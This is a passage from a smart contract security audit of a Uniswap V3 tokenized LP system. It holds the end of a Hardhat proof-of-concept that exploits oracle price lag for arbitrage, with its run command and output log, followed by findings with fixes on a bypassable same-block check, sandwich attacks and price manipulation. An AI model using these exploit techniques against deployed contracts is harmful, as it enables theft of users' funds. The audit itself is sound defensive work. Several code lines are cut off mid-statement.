+ (lpTokenBalance, attacker1.address);
+               console.log
+ (">> block number after attack: %s", await blockNumber());
+               const wethIn = (await weth.balanceOf(attacker1.address)).sub
+ (wethBalanceBefore);
+               const usdcOut = usdcBalanceBefore.sub(await usdc.balanceOf
+ (attacker1.address));
+               console.log(">> WETH in: %s", wethIn);
+               console.log(">> USDC out: %s", usdcOut);
+               console.log
+ (">> Attacker buy WETH at price of %s WETH/USDC", usdcOut.mul(ONE_ETH).div(wethIn).d
+               console.log(">> The real price is %s WETH/USDC",
+ (await wethUsdOracle.latestAnswer()).div(await usdcUsdOracle.latestAnswer()));
+               console.log();
+       });
+
        it('should check uV3TokenizedLp was properly initialized', async () => {

                const token0Addr = await uV3TokenizedLp.token0();
```

Run the PoC

```
yarn
   hardhat test --grep "attacker can exploit oracle price differences to arbitrage"
```

The log

```
$
   yarn hardhat test --grep "attacker can exploit oracle price differences to arbitrag
Warning: All subsequent Upgrades warnings will be silenced.

    Make sure you have manually checked all uses of unsafe flags.



  UniV3TokenizedLP:
>>>>>>>>>> Init the PoC

>>>>>>>>>> User1 deposits some tokens to simulate the real environment

>>>>>>>>>> Attacker1 deposits some USDC in advance
>> block number before attack: 106

>>>>>>>>>> WETH price increased by 0.5%

>>>>>>>>>>
   Attacker1 transfers LP to attacker2 in the same block and then withdraws them
>> block number after attack: 107
>> WETH in: 1515151515153809869
>> USDC out: 5303030304
>> Attacker buy WETH at price of 3500 WETH/USDC
>> The real price is 3517 WETH/USDC

    ✔ attacker can exploit oracle price differences to arbitrage (12203ms)


  1 passing (18s)
```

[M-05] Depositing `UniV3PoolHelper` only once per block for all users

Severity

Impact: Medium

Likelihood: Medium

Description

`checkLastBlockAction` allows only one deposit for a given `msg.sender`.

```
modifier checkLastBlockAction() {
                if
    (_callerLastBlockAction[msg.sender] == block.number) revert UniV3TokenizedLp_NoDep
                _;
                _callerLastBlockAction[msg.sender] = block.number;
```

In fact, it means that `UniV3PoolHelper` can only deposit once per block, for all `UniV3PoolHelper` users (and thus all LockZap users). This condition may be too strict resulting in reverts for users in the block if `UniV3PoolHelper` is used frequently.

Recommendations

One of the solutions could be tracking actions for LockZap + UniV3PoolHelper end users separately, in a separate modifier, or with the special condition in checkLastBlockAction modifier (that could e.g. check `to` input, not `msg.sender`)

[M-06] Use `latestRoundData` instead of `latestAnswer`

Severity

Impact: Medium

Likelihood: Medium

Description

`UniV3TokenizedLp` is calling `latestAnswer()` to get the last oracle price. This method will return the last value, but you will not be able to check if the data is fresh. On the other hand, calling the method `latestRoundData()` allows you to run some extra validations.

Recommendations

Consider using latestRoundData() with the following additional checks:

```
(
          roundId,
          rawPrice,
          ,
          updateTime,
          answeredInRound
        ) = IChainlinkAdapter(_oracle).latestRoundData();
        require(rawPrice > 0, "Chainlink price <= 0");
        require(updateTime != 0, "Incomplete round");
        require(answeredInRound >= roundId, "Stale price");
```

[M-07] Lack of slippage check in `rebalance` Function

Severity

Impact: Medium

Likelihood: Medium

Description

The `rebalance` function updates the Uniswap V3 LP position and performs the indicated swap based on the specified lower and upper ticks. However, this function lacks a slippage check, making it vulnerable to sandwich attacks. An attacker can front-run the rebalance transaction, causing unfavorable price movements, and then back-run the transaction to revert the price, resulting in a loss of funds for the contract when swapping.

```
function rebalance(
  int24_baseLower,
  int24_baseUpper,
  int256swapQuantity
) public nonReentrant isRebalancer {
    ...
    if (swapQuantity != 0) {
        IUniswapV3Pool(pool).swap(
            address(this),
            swapQuantity > 0, // zeroToOne == true if swapQuantity is positive
            swapQuantity > 0 ? swapQuantity : -swapQuantity,
            // No limit on the price, swap through the ticks, until the
            // `swapQuantity` is exhausted

                          swapQuantity > 0 ? UniV3PoolMath.MIN_SQRT_RATIO + 1 : UniV3Po
            abi.encode(address(this))
        );
    }
    ...
}
```

The absence of a slippage check means that the function does not verify the price impact of the swap, leaving it susceptible to manipulation by external actors.

Recommendations

To address this issue, implement slippage protection by adding a slippage check to the `rebalance` function. This can be achieved by specifying acceptable price limits for the swap and reverting the transaction if these limits are breached.

[M-08] Bypassable `checkLastBlockAction` Modifier

Severity

Impact: Low

Likelihood: High

Description

The `checkLastBlockAction` modifier is intended to prevent users from depositing and withdrawing in the same block, likely as a measure against flash loan attacks. However, this check can be easily bypassed. A user can deposit and receive share tokens, then transfer these shares to another address they control and proceed to withdraw in the same block from that address.

```
modifier checkLastBlockAction() {
                if
    (_callerLastBlockAction[msg.sender] == block.number) revert UniV3TokenizedLp_NoDep
                _;
                _callerLastBlockAction[msg.sender] = block.number;
        }
<...>
        function deposit(
                uint256 deposit0,
                uint256 deposit1,
                address to
        ) external override nonReentrant checkLastBlockAction returns
   (uint256 shares) {
<...>
        function withdraw(
                uint256 shares,
                address to
        ) external override nonReentrant checkLastBlockAction returns
   (uint256 amount0, uint256 amount1) {
```

Recommendations

To address this issue, override the `_afterTokenTransfer` function to update the `_callerLastBlockAction` mapping for the `to` address. This ensures that the restriction on block actions applies consistently, even when tokens are transferred between addresses.

```
function _afterTokenTransfer
  (address from, address to, uint256 amount) internal override {
    super._afterTokenTransfer(from, to, amount);
    _callerLastBlockAction[to] = block.number;
}
```

8.4. Low Findings

[L-01] `getTotalAmounts` and `getBasePosition` may be DOSed

`getTotalAmounts` and `getBasePosition` are `external view` functions and may be externally dependent.

```
require(_checkHysteresis(), NEXT_BLOCK);
```

They will both call `_checkHysteresis`, which does not allow token swaps in the corresponding uniswap pool within the same block. Therefore, any logic that depends on the `getTotalAmounts` and `getBasePosition` functions may be DoSed as long as the attacker calls the corresponding uniswap pool in advance to swap any number of tokens.

It is recommended to check only when there is a significant price deviation from the oracle or to provide `getTotalAmountsUnSafe` and `getBasePositionUnSafe`.

[L-02] No pending income in functions

`getTotalAmounts` and `getBasePosition` are `external view` functions and may be externally dependent. Neither of them calculates the pending income in the uniswap pool, which may lead to incorrect calculations in external logic that relies on these two functions.

It is recommended to provide two non-view functions, `getTotalAmountsFeeAccumulated` and `getBasePositionFeeAccumulated`. These functions should first call `IUniswapV3Pool(pool).burn(baseLower, baseUpper, 0)` before returning the corresponding values.

[L-03] Admin may lose tokens on `initializePool`

The `initializePool` function is used to deploy and initialize the `UniV3TokenizedLp` contract. In addition, `initializePool` function will deposit some initial tokens into the uniswap pool.

```
pool.mint(address(
     address

   ), baseLower_, baseUpper_, fullRangeliquidity, abi.encode(address(this
```

However, `pool.mint` may not consume both tokens in exact proportion, so there may be some tokens left in the contract. For RDNT tokens, they will be stuck in the contract forever. For WETH tokens, users can call `swapWethToRdnt` to steal it.

[L-04] Not used approvals

`UniswapV3PoolHelper.initializePool()` gives approvals to mint initial LP tokens.

```
IERC20(rdntAddr).forceApprove(address(pool), initRdntBal);
        IERC20(weth9Addr).forceApprove(address(pool), initWeth9Bal);
```

But in fact, tokens are transferred directly via `uniswapV3MintCallback()`.

```
function uniswapV3MintCallback
   (uint256 amount0, uint256 amount1, bytes calldata data) external {
                if (msg.sender != address(pool)) revert SwapCallbackUnauthorized();

                address payer = abi.decode(data, (address));

                if (payer == address(this)) {
                        if (amount0 > 0) IERC20(token0).safeTransfer(msg.sender, amoun
                        if (amount1 > 0) IERC20(token1).safeTransfer(msg.sender, amoun
                } else {
                        if (amount0 > 0) IERC20(token0).safeTransferFrom(payer, msg.se
                        if (amount1 > 0) IERC20(token1).safeTransferFrom(payer, msg.se
                }
        }
```

As a result, this initial approval was not necessary and can be removed.

[L-05] Missing oracle decimal normalization

The `fetchOracle` function assumes that the oracles used for price feeds have the same decimals, which is not always the case. To ensure accurate price calculations, the function should normalize the decimals of the oracles similarly to how it handles token0 and token1 decimals.

```
function fetchOracle(
    address tokenIn_,
    address tokenOut_,
    uint256 amountIn_
) public view returns (uint256 amountOut) {
    uint256 valueIn = tokenIn_ == token0
        ? _getUsdValue(tokenIn_, amountIn_, usdOracle0Ref)
        : _getUsdValue(tokenIn_, amountIn_, usdOracle1Ref);

    amountOut = tokenOut_ == token0
        ? _getTokenFromUsdValue(tokenOut_, usdOracle0Ref, valueIn)
        : _getTokenFromUsdValue(tokenOut_, usdOracle1Ref, valueIn);
}
```

```
function _getUsdValue(
    address token_,
    uint256 amount_,
    IChainlinkAdapter usdOracle_
) internal view returns (uint256) {
    return (uint256(usdOracle_.latestAnswer()) * amount_) / (10 ** uint256
      (ERC20(token_).decimals()));
}
```

```
function _getTokenFromUsdValue(
    address token_,
    IChainlinkAdapter usdOracle_,
    uint256 value_
) internal view returns (uint256) {
    return (value_ * 10 ** ERC20(token_.decimals()) / uint256
      (usdOracle_.latestAnswer());
}
```

To handle the varying decimals of oracles, introduce decimal normalization in the `fetchOracle` function.

[L-06] LP pricing is exposed to manipulation

Severity

Impact: Medium

Likelihood: Medium

Description

The contract calculates the price of LP tokens based on the value of the reserves, which can be vulnerable to manipulation attacks. This method can be exploited by attackers to manipulate the reserves and derive incorrect LP token prices. To provide a more manipulation-resistant approach, consider calculating the fair reserves based on oracle prices and deriving the LP token price from it.

```
function getLpPrice(uint256) public view returns (uint256 priceInWeth9) {
    (uint256 rdntReserve, uint256 wethReserve, uint256 lpSupply) = getReserves
      ();
    uint256 weth9ForRdnt = tokenizedLpToken.fetchOracle
      (rdntAddr, weth9Addr, rdntReserve);
    uint256 allReservesInWeth = wethReserve + weth9ForRdnt;
    priceInWeth9 = (allReservesInWeth * 1e8) / lpSupply;
}
```

Recommendations

To mitigate the risk of reserve manipulation, calculate the fair reserves based on oracle prices and use this to determine the LP token price. Follow the method detailed in the Alpha Venture DAO blog.